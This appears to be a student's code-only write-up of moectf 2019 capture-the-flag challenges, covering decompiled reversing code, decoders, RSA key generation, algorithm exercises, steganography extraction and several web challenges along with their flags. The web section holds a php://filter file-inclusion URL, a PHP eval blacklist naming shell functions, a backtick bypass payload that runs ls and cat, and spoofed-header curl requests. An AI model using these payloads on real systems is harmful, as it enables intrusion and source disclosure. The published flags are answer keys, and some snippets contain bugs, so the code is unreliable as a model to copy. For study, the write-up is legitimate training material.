int __cdecl main(int argc, const char **argv, const char **envp)
{                   // 注释是后来自己添加的
  int v3; // eax
  int result; // eax
  int j; // [rsp+10h] [rbp-A0h]
  int i; // [rsp+14h] [rbp-9Ch]
  int v7; // [rsp+18h] [rbp-98h]
  __int64 v8; // [rsp+20h] [rbp-90h]
  char v9[104]; // [rsp+40h] [rbp-70h]
  __int64 v10; // [rsp+A8h] [rbp-8h]

  scanf("%s", v9, envp);   // 获取输入 v9
  v3 = strlen(v9);         // 获取输入长度
  v7 = v3;                 // 现在v3 == v7,都是长度
  strcpy((char *)&v8, "abcdefghijklmnopqrstuvwxyz"); // v8 好像是个 table
  for ( i = 0; i < v3; ++i )
      //遍历输入, 然后把v9里每个字符和table的第i个字符进行异或运算...
    v9[i] ^= *((_BYTE *)&v8 + i % 26); //*((_BYTE ... % 26)这句就相当于v8[i % 26]
  for ( j = 0; j < v7; ++j ) //输出v9里各个字符的数字
    printf("%d,", (unsigned int)v9[j]);
  result = 0;
  if ( __stack_chk_guard == v10 )
    result = 0;
  return result;
}

##include <iostream>
##include <cstdio>

using namespace std;

int main()
{
    int x;
    int i = 0;
    char v[27] = "abcdefghijklmnopqrstuvwxyz";
    while (scanf("%d,", x))
    {
        char result = int(v[i % 26]) ^ x;
        cout << result << endl;
        i++;
    }
}

$ pip install uncompyle

$ uncompyle6 ./test.cpython-37.pyc > ./test.cpython-37.py

# uncompyle6 version 3.4.0
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul  8 2019, 20:34:20) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: test.py
# Size of source mod 2**32: 294 bytes
from binascii import b2a_hex
from base64 import b32encode
x = input
y = print
if b2a_hex(b32encode(x().encode())).decode() == '4e5658574b5933554d5a3558413452544d4d59473234444a4e525557345a5a4e4b4234574758334447525846364d44514f51595732324c324d55575647344254474e5348323d3d3d':
    y('congrats')
# okay decompiling C:\\users\rever\Downloads\test.cpython-37.pyc

NVXWKY3UMZ5XA4RTMMYG24DJNRUW4ZZNKB4WGX3DGRXF6MDQOQYW22L2MUWVG4BTGNSH2===

moectf{pr3c0mpiling-Pyc_c4n_0pt1mize-Sp33d}

__int64 __fastcall main_main(__int64 a1, __int64 a2,
                             __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
  /* 一大堆变量声明,节省篇幅就不看了 */

  /* 对解题没什么用的函数 */
  fmt_Fscanln(a1, a2, (__int64)&v23, (__int64)&unk_4AAF60, v7, v8,
              (__int64)&go_itab__os_File_io_Reader, os_Stdin);
  if ( *v19 == 1107LL )
  {
    runtime_convTstring(a1, a2, v9);
    *(_QWORD *)&v22 = &unk_4B0720;
    *((_QWORD *)&v22 + 1) = &v23;
    fmt_Fprintln(
      a1,
      a2,
      v12,
      (__int64)&go_itab__os_File_io_Writer,
      v13,
      v14,
      (__int64)&go_itab__os_File_io_Writer,
      os_Stdout);
  }
/* 后面一个else一个return,都不是重点 */
}

package qqq;

import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;

public class Box implements ActionListener {
    /* 一堆变量声明 */
    public static boolean CHECK(int input) {
        if (input > 10000000 && input < 99999999) {
            int v7 = 1;
            int v8 = 10000000;
            int v3 = 1;
            if (Math.abs(input / 1000 % 100 - 80) == 3 &&
                input % 1000 % 927 == 0) {
                int v5 = 0;
                while (v5 < 4) {
                    if (input / v7 % 10 != input / v8 % 10) {
                        v3 = 0;
                        break;
                    }
                    v7 *= 10;
                    v8 /= 10;
                    v5++;
                }
                if (v3 != 1) {
                    return false;
                }
                if (v3 == 1) {
                    return true;
                }
            }
        }
        return false;
    }
    public Box() {
        /* UI设置, 对题目没什么用, 为省篇幅不列出了 */
    }
    public static void main(String[] args) {
    }
    public void actionPerformed(ActionEvent e) {
        /* 一些废话, 一堆if, 省篇幅就不粘贴进来了 */
        if (e.getSource() == this.bt) {
            if (CHECK(Integer.parseInt(this.a))) {
                this.tx.setText("moectf{" + (char) (Integer.parseInt(this.a) /
                                                    1000000)
                        + (char) (Integer.parseInt(this.a) / 10000 % 100)
                        + (char) (Integer.parseInt(this.a) / 100 % 100) +
                                "_he}");
            } else {
                this.tx.setText("clear and try again!");
            }
        }
        /* 和解题无关的处理 */
    }
}

while (v5 < 4) {
    if (input / v7 % 10 != input / v8 % 10) {
        v3 = 0;
        break;
    }
    v7 *= 10;
    v8 /= 10;
    v5++;
}

if (CHECK(Integer.parseInt(this.a))) {
    this.tx.setText("moectf{" + (char) (Integer.parseInt(this.a) / 1000000)
        + (char) (Integer.parseInt(this.a) / 10000 % 100)
        + (char) (Integer.parseInt(this.a) / 100 % 100) + "_he}");
}

##include <iostream>
using namespace std;
int main() {
    char a = 72;
    char b = 97, c = 79;
    cout << "moectf{" << a << b << c << "_he}" << endl;
    return 0;
}

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  /* 变量声明 */
  v11 = 0;
  sub_4011E0(a1, a2, a3);
  v10 = 1;
  v4 = 4194587627529708148LL;
  v5 = 653654411009211005LL;
  v6 = 4502494060534902393LL;
  v7 = 1048127506;
  v8 = 12340;
  v9 = 77;
  printf(&byte_4040B0);
  sub_401270(&v4);
  sub_4012A0();
  return 0LL;
}

signed __int64 __fastcall sub_401270(_BYTE *a1)
{
  *a1 = 109;
  sub_401240(byte_404080);
  return 5LL;
}

int sub_4012A0()
{
  return printf(&byte_40409F);
}

##include <stdio.h>

int main(void)
{
    int v404080[] = {
        0x74, 0x22, 0x28, 0x2E, 0x39, 0x2B, 0x36, 0x3A, 0x7D, 0x3A,
        0x12, 0x3E, 0x39, 0x3F, 0x12, 0x09, 0x79, 0x2E, 0x7D, 0x29,
        0x7E, 0x12, 0x7C, 0x3E, 0x12, 0x28, 0x79, 0x3E, 0x34, 0x30, 0x4D
    };
    int key = 77;
    int i = 0;
    int b;
    do{
        printf("%x", v404080[i] ^ key);
        i++;
        b = (i < 30);
    } while (b);
    return 0;
}

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  /* 200多个变量声明 */
  v186 = 0;
  v184 = 0;
  v187 = 0;
  v175 = 1093207085;
  /* 5个嵌套的 while(1) */

             /* 一大堆不知所以的计算过程 */
             /* 还有仨Wrong Flag的判定 */

    if ( v175 == -866985480 )
    {
      a2 = (char **)"dcba3261b6ef0d77";
      v107 = strncmp(s1, "dcba3261b6ef0d77", 0x10uLL);
      v108 = 1750495256; // 找到第一个字符串, 盲猜是MD5加密
      if ( v107 )
        v108 = 402522278;
      v175 = v108;
    }
    // 一大堆else if,并不是很能看懂在干什么
    else if ( v175 == 184885918 )
    {
      puts("Please input the flag:\n"); // 然后看见了输入
      a2 = (char **)&s2;
      __isoc99_scanf("%42s", &s2);
      v188 = strncmp("moectf{", &s2, 7uLL) != 0;// 前缀不参与
      /* 另一大堆不明所以的加密 */
    else if ( v175 == 233838060 )
    {
      a2 = (char **)sub_630390(&v183, a2, a3);
      v189 = strcmp((const char *)(unsigned int)"X1I0X0YxYWdfWTB1XzRyZV9TdHIwbmd9", (const char *)a2) != 0;
      a3 = (char **)0xFFFFFFFFLL;
      /* 又是浩如烟海的看不懂的加密过程... */
      }
    }
  }
  getchar();
  return 0LL;
}

##include <iostream>
using namespace std;

int main(){
    freopen("flag.txt", "r", stdin);
    char x;
    while(cin >> x)
        if(isdigit(x)) cout << x;
    return 0;
}

##include <iostream>
using namespace std;

int x;
int main(){
    while(cin >> x){
        putchar(x);
    }
}

##include <stdio.h>
##include <string.h>
char S[1000000]="",T[1000000]="";
int next[100000];
void Next(char*T,int *next){
    memset(next,0,strlen(T));   // 初始化动态数组,将其长度设置为0
    int size = strlen(T);       // 把next数组的长度扩展到和T的长度一致
    int j = -1;
    next[0] = -1;
    for (int i = 1; i < strlen(T); i++)
    {
        while (j > -1 && T[j + 1] != T[i])
            j = next[j];
        if (T[j + 1] == T[i])
            j++;
        next[i] = j;
    }
}
int KMP(char * S,char * T,int i){
    int cnt = 0;    // count的缩写
    Next(T, next);
    int j = -1;
    int slen = strlen(S);
    int tlen = strlen(T);
    for (int i = 0; i < slen; ++i)
    {
        while (j > -1 && T[j + 1] != S[i])
            j = next[j];
        if (T[j + 1] == S[i])
            ++j;
        if (j == tlen - 1)
        {
            printf("%d ",i - tlen + 2);
            ++cnt;
            j = next[j];
        }
    }
}

int main() {
	scanf("%s",S);
	scanf("%s",T);
    KMP(S,T,1);
    //printf("%d ",i);
	//system("pause");
    return 0;
}

from random import Random
from base64 import *
from flag import flag

r = Random()
EncoderSet = [a85encode,b16encode,b32encode,b64encode,b85encode]

for i in range(r.randrange(30,35)):
    Encoder = r.choice(EncoderSet)
    flag = r.choice(EncoderSet)(str(EncoderSet.index(Encoder)).encode()) + \
            b'w1ndNB' + Encoder(flag)

with open('secret.txt','wb') as out:
    out.write(flag)

from random import Random
from base64 import *

r = Random()
EncoderSet = [a85encode,b16encode,b32encode,b64encode,b85encode]
for i in EncoderSet:
    print(r.choice(EncoderSet)(str(EncoderSet.index(i)).encode()))

a85 = [b'Fa', b'0E', b'MA==', b'30', b'GA======']
b16 = [b'F#', b'0`', b'MQ==', b'31', b'GE======']
b32 = [b'G5', b'1&', b'Mg==', b'32', b'GI======']
b64 = [b'GX', b'1B', b'Mw==', b'33', b'GM======']
b85 = [b'Gy', b'1]', b'NA==', b'34', b'GQ======']

from base64 import *

a85 = [b'Fa', b'0E', b'MA==', b'30', b'GA======']
b16 = [b'F#', b'0`', b'MQ==', b'31', b'GE======']
b32 = [b'G5', b'1&', b'Mg==', b'32', b'GI======']
b64 = [b'GX', b'1B', b'Mw==', b'33', b'GM======']
b85 = [b'Gy', b'1]', b'NA==', b'34', b'GQ======']

EncoderSet = [a85decode, b16decode, b32decode, b64decode, b85decode]
point = 0

while point != -1:
    f = open('.\\secret.txt', 'rb')

    s = f.read()
    point = -1
    n = s.find(b'w1ndNB')
    print(s[0:n])
    x = s[0:n]
    if s[0:n] in a85:
        point = 0
    if s[0:n] in b16:
        point = 1
    if s[0:n] in b32:
        point = 2
    if s[0:n] in b64:
        point = 3
    if s[0:n] in b85:
        point = 4
    else:
        point = -1
        print('ERROR OR SUCCESS!')
        exit()
    with open('secret.txt','w') as out:
        out.write(EncoderSet[point](s[n+6:]).decode())

// 再过不了我就换地方重写QAQ
##include <cstdio>
##include <cstring>

using namespace std;
const int maxn = 5e5;
const int maxm = 8e5;
struct node {
    int to, next, w;
} edges[maxm];
int head[maxn], cnt, dp[maxn][20], dep[maxn], dist[maxn];

void addedge(int u, int v, int w) {
    edges[cnt].to = v;
    edges[cnt + 1].to = u;
    edges[cnt].w = edges[cnt + 1].w = w;
    edges[cnt].next = head[u];
    edges[cnt + 1].next = head[v];
    head[u] = cnt++;
    head[v] = cnt++;
}

void dfs(int s, int x) {
    dep[s] = dep[x] + 1;
    dp[s][0] = x;
    int t;
    for (int i = 1; (1 << i) <= dep[s]; i++)
        dp[s][i] = dp[dp[s][i - 1]][i - 1];
    for (int i = head[s]; i != -1; i = edges[i].next) {
        t = edges[i].to;
        if (t == x) continue;
        dist[t] = dist[s] + edges[i].w;
        dfs(t, s);
    }
}

int LCA(int u, int v) {
    if (dep[v] > dep[u])
        u ^= v ^= u ^= v;
    for (int i = 20; i >= 0; i--) {
        if ((1 << i) <= (dep[u] - dep[v])) {
            u = dp[u][i];
        }
    }
    if (u == v) return u;
    for (int i = 20; i >= 0; i--) {
        if ((1 << i) <= dep[u] && (dp[u][i] != dp[v][i])) {
            u = dp[u][i];
            v = dp[v][i];
        }
    }
    return dp[u][0];
}

int WDNMD(int u, int v) {
    int z = LCA(u, v);
    return dist[u] - 2 * dist[z] + dist[v];
}

int main() {
    int n, m, u, v, w;
    scanf("%d%d", &n, &m);
    cnt = 0;
    memset(head, -1, sizeof(head));
    for (int i = 1; i < n; i++) {
        scanf("%d%d%d", &u, &v, &w);
        addedge(u, v, w); // 强行无向...
    }
    dep[1] = 0;
    dp[1][0] = 1;
    dfs(1, 1);
    for (int i = 1; i <= m; i++) {
        scanf("%d%d", &u, &v);
        printf("%d\n", WDNMD(u, v));
    }
    return 0;
}

##include<cstdio>
##include <cstring>
##include<iostream>

using namespace std;
typedef long long LL;
const int INF = 1e9 + 7, MAXN = 5e5 + 10, MAXNODE = MAXN << 2, MAXM = 1e5 + 10;
int N, M;
LL tmp[MAXN];

struct node {
    LL sum, maxl, maxr, maxv;

    node() {
        sum = maxl = maxr = maxv = 0;
    }
} A[MAXNODE];

inline void push_up(int x) {
    A[x].sum = A[x << 1].sum + A[x << 1 | 1].sum;
    A[x].maxl = max(A[x << 1].maxl, A[x << 1].sum + A[x << 1 | 1].maxl);
    A[x].maxv = max(A[x << 1].maxr + A[x << 1 | 1].maxl, max(A[x << 1].maxv, A[x << 1 | 1].maxv));
    A[x].maxr = max(A[x << 1 | 1].maxr, A[x << 1].maxr + A[x << 1 | 1].sum);
}

void init(int x, int l, int r) {
    if (l == r) {
        A[x].sum = A[x].maxl = A[x].maxr = A[x].maxv = tmp[l];
        return;
    }
    int mid = (l + r) >> 1;
    init(x << 1, l, mid);
    init(x << 1 | 1, mid + 1, r);
    push_up(x);
}

void update(int x, int l, int r, int q, LL c) {
    if (l == r) {
        if (l == q)
            A[x].sum = A[x].maxl = A[x].maxr = A[x].maxv = c;
        return;
    }
    int mid = (l + r) >> 1;
    if (q <= mid)
        update(x << 1, l, mid, q, c);
    else
        update(x << 1 | 1, mid + 1, r, q, c);
    push_up(x);
}

node query(int x, int l, int r, int ql, int qr) {
    if (ql <= l && r <= qr) {
        return A[x];
    }
    int mid = (l + r) >> 1;
    if (qr <= mid)
        return query(x << 1, l, mid, ql, qr);
    if (ql > mid)
        return query(x << 1 | 1, mid + 1, r, ql, qr);
    node left = query(x << 1, l, mid, ql, qr), right = query(x << 1 | 1, mid + 1, r, ql, qr), ret;
    ret.maxv = max(left.maxr + right.maxl, max(left.maxv, right.maxv));
    ret.maxl = max(left.maxl, left.sum + right.maxl);
    ret.maxr = max(right.maxr, left.maxr + right.sum);
    return ret;
}

int main() {
    scanf("%d%d", &N, &M);
    for (int i = 1; i <= N; i++)
        scanf("%lld", tmp + i);
    init(1, 1, N);
    int ii, jj, kk;
    LL ll;
    for (int i = 1; i <= M; i++) {
        ii = 1;
        if (ii == 1) {
            scanf("%d%d", &jj, &kk);
            if (jj > kk)
                swap(jj, kk);
            printf("%lld\n", query(1, 1, N, jj, kk).maxv);
        } else {
            scanf("%d%lld", &jj, &ll);
            update(1, 1, N, jj, ll);
        }
    }
    return 0;
}

mthAf2p_anf@ccta}ofEi3_hl_d_sar0pe{_Lncesk_cslyghctr_c12_i0li_pry

mthAf2p_anf@ccta}
ofEi3_hl_d_sar0p
e{_Lncesk_cslygh
ctr_c12_i0li_pry

AqCEclcIZQjbecyOhgXSwOdveKjpYyaeknUkyokazpyUnhFDSmvQEvCdmoFsfAvfyvTQFWkyBNIojUddNbtmT

##include <iostream>
##include <cctype>
using namespace std;
int main () {
    char x;
    while(cin >> x) {
        if(isupper(x)) cout << 0;
        else cout << 1;
    }
}

##include <iostream>
##include <cctype>
using namespace std;
int main () {
    char x;
    while(cin >> x) {
        if(isupper(x)) cout << 1;
        else cout << 0;
    }
}

##include <iostream>
##include <map>
##include <algorithm>
using namespace std;

int main()
{
    freopen(".\\chars.txt", "r", stdin);
    freopen(".\\frequentre.txt", "w", stdout);
    map<char, int> sign;
    string input;
    string types;
    cin >> input;
    for(int i = 0; i < input.length(); i++)
    {
        if (types.find(input[i])==string::npos)
            types += input[i];
        sign[input[i]]++;
    }
    sort(types.begin(), types.end());
    double total = input.length();
    double frequent;

    for (int i = 0; i < types.length(); i++)
    {
        frequent = double(sign[types[i]]) / total;
        cout << types[i] << ": " << frequent << "%\n";
    }
    return 0;
}

##coding=utf-8
import math
import sys
from Crypto.PublicKey import RSA
arsa=RSA.generate(1024)
arsa.p=296173636181072725338746212384476813557
arsa.q=336771668019607304680919844592337860739
arsa.e=65537
arsa.n=arsa.p*arsa.q
Fn=long((arsa.p-1)*(arsa.q-1))
i=1
while(True):
    x=(Fn*i)+1
    if(x%arsa.e==0):
           arsa.d=x/arsa.e
           break
    i=i+1
private=open('private.pem','w')
private.write(arsa.exportKey())
private.close()

##include <iostream>
using namespace std;

int main(){
    string table = "abijklQRSTUVWXmnop@#$%wxyzABCDcdefghEFGHI&*()_+JKLMNOPYZ01234qrstuv56789!^-=";
    while(true){
        double y;
        cin >> y;
        int x = int(y);
        x %= table.length();
        if(x <= 0)
            x += table.length();
        cout << table[x];
    }
}
// 算出来的明文长这样, 注意要竖着输进去
// 49 0  5  7  8  56 57 28
// 57 62 34 0  45 52 33 65
// 15 45 58 45 63 45 33 49
// 58 26 1  57 16 29 2  64

import requests
datas = {'a'}
r = requests.post("http://39.108.11.206:10001/", data=datas)
print(r.text)
print(r.status_code)

<input class="form-control" type="text" name="key" maxlength="14" placeholder="只需要输入msc_1s_Gre@t即可获取flag">

http://39.108.11.206:10003/?file=php://filter/read=convert.base64-encode/resource=./index.php

<?php
error_reporting(0);
echo '<p>the flag was put in the index.php, can you get it?</p>';


$file=$_GET['file'];
include($file);
//moectf{YoU_g0t_f1@g}
?>

import requests
datas = {'key':"aflagdddd/6/:skey"}
r = requests.post("http://39.108.11.206:10009/", data=datas)
print(r.text)
print(r.status_code)

$ curl --header "Cookie: login=true" --header "User-Agent: PowerPC" --header "Accept: application/flag" -v -i http://47.101.32.101:10010/

## 上面省略2232行尝试的代码
rever@DS-10001-RX MINGW64 ~
$ curl --header "Referer: www.xidian.edu.cn" --header "User-Agent: moectf_browser" --header "X-Forwarded-For: 127.0.0.1" --header "Cookie: xduer" --header "Accept: PHP" --header "Accept-Encoding: UTF-8" --header "Accept-Language: zh-CN" -v -i http://39.108.11.206:10012/
*   Trying 39.108.11.206...
* TCP_NODELAY set
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 39.108.11.206 (39.108.11.206) port 10012 (#0)
> GET / HTTP/1.1
> Host: 39.108.11.206:10012
> Referer: www.xidian.edu.cn
> User-Agent: moectf_browser
> X-Forwarded-For: 127.0.0.1
> Cookie: xduer
> Accept: PHP
> Accept-Encoding: UTF-8
> Accept-Language: zh-CN
>
< HTTP/1.1 200 OK
< Date: Fri, 06 Sep 2019 14:41:00 GMT
< Server: Apache/2.4.7 (Ubuntu)
< X-Powered-By: PHP/5.5.9-1ubuntu4.14
< Vary: Accept-Encoding
< Content-Length: 443
< Content-Type: text/html
<
{ [443 bytes data]
100   443  100   443    0     0   3141      0 --:--:-- --:--:-- --:--:--  3141HTTP/1.1 200 OK
Date: Fri, 06 Sep 2019 14:41:00 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Vary: Accept-Encoding
Content-Length: 443
Content-Type: text/html

First of all, you must come from XiDian University<br>Second, you have to use moectf_browser<br>Third, you have to visit from the localhost<br>Fourth, your identity must be xduer<br>Fifth, client can only accept PHP documents<br>Sixth, we only allow UTF-8 encoding<br>Finally, we are only allowed to use Chinese.<br>Congratulations on having a good understanding of HTTP HEADERS and finally getting flag:<br>moectf{Reward_y0u_For_per3everAnce}
* Connection #0 to host 39.108.11.206 left intact

$ wget ftp://ftp.isc.org/isc/bind9/9.9.3/bind-9.9.3.tar.gz
$ tar xf bind-9.9.3.tar.gz
$ cd bind-9.9.3
$ wget http://wilmer.gaa.st/edns-client-subnet/bind-9.9.3-dig-edns-client-subnet-iana.diff
$ yum -y install patch
$ patch -p0 < bind-9.9.3-dig-edns-client-subnet-iana.diff
$ ./configure --without-openssl
$ make

$ /bin/dig/dig @8.8.8.8 region.challenge.moectf.cn +client=175.45.176.68

<?php
highlight_file(__FILE__);
error_reporting(0);
$blacklist = ["system", "ini_set", "exec", "scandir", "shell_exec", "proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$blacklist = array_merge($blacklist, get_defined_functions()['internal']);
foreach($blacklist as $i){
    if(stristr($_GET[cmd], $i)!==false){
        die('hack');
    }
}
eval($_GET[cmd]);

?cmd=$str=$_GET[id];print%20`$str`;&id=ls

?cmd=$str=$_GET[id];print%20`$str`;&id=cat+4f5f6c3be6ab7cc59dabf9ff7f2b248a

200.166.9.176.in-addr.arpa      name = vps.stockservers.com.

176.9.166.200 vps.stockservers.com

00000000 x
00000001 y
00000010 U
00000011 V
00000100 z
00000101 A
00000110 B
00000111 C
00001000 D
00001001 E
00001010 F
00001011 G
00001100 H
00001101 I
00001110 J
00001111 K
00010000 L
00010001 M
00010010 N
00010011 O
00010100 a
00010101 b
00010110 c
00010111 d
00011000 e
00011001 f
00011010 g
00011011 h
00011100 i
00011101 j
00011110 k
00011111 l
00100000 m
00100001 W
00100010 X
00100011 Y
00100100 Z
00100101 0
00100110 1
00100111 2
00101000 3
00101001 4
00101010 5
00101011 6
00101100 7
00101101 8
00101110 9
00101111 P
00110000 Q
00110001 R
00110010 S
00110011 T
00110100 n
00110101 o
00110110 p
00110111 q
00111000 r
00111001 s
00111010 t
00111011 u
00111100 v
00111101 w

def read(self, bit):
    # implement this
    # 请实现这一函数
    index = 0
    data = ''
    dic = [0x00, 0xff, 0x3f, 0xbf, 0xfe, 0x01, 0x40, 0xc0, 0xcf, 0xbe, 0x2f, 0x3e, 0x0f, 0x6f,
           0xef, 0x9f, 0x5f, 0x8f, 0xee, 0x30, 0x2e, 0x90, 0x70, 0x60, 0x8e, 0xd0, 0x9e, 0xce]
    for i in range(self.width):
        print(i)
        for j in range(self.height):
            p = list(self.im.getpixel((i, j)))
            ifx = info.get(i*10000+j)
            if ifx != None:
                for k in range(3):
                    if ifx | (1 << bit) == p[k]:
                        data += '1'
                    elif ifx & ~(1 << bit) == p[k]:
                        data += '0'
                    else:
                        print("ERROR!", i, j, k, ifx, p, bit)
                        px = 0
                        for color in dic:
                            if color | (1 << bit) == p[k]:
                                data += '1'
                                px = 1
                                break
                            if color & ~(1 << bit) == p[k]:
                                data += '0'
                                px = 1
                                break
                            if px == 0:
                                print("not sel")
                                exit()
                        bit = (bit+1) % 8
            else:
                for k in range(3):
                    px = 0
                    for color in dic:
                        if color | (1 << bit) == p[k]:
                            data += '1'
                            bit = (bit+1) % 8
                            px = 1
                            break
                        if color & ~(1 << bit) == p[k]:
                            data += '0'
                            bit = (bit+1) % 8
                            px = 1
                            break
                        if px == 0:
                            print("not sel")
                            exit()
    dat = bytearray()
    for i in range(int((len(data)-len(data) % 8)/8)):
        inx = int(data[i*8:i*8+8], 2)
        dat.append(inx)
    with open('flag1.jpg', 'wb') as f:
        f.write(dat)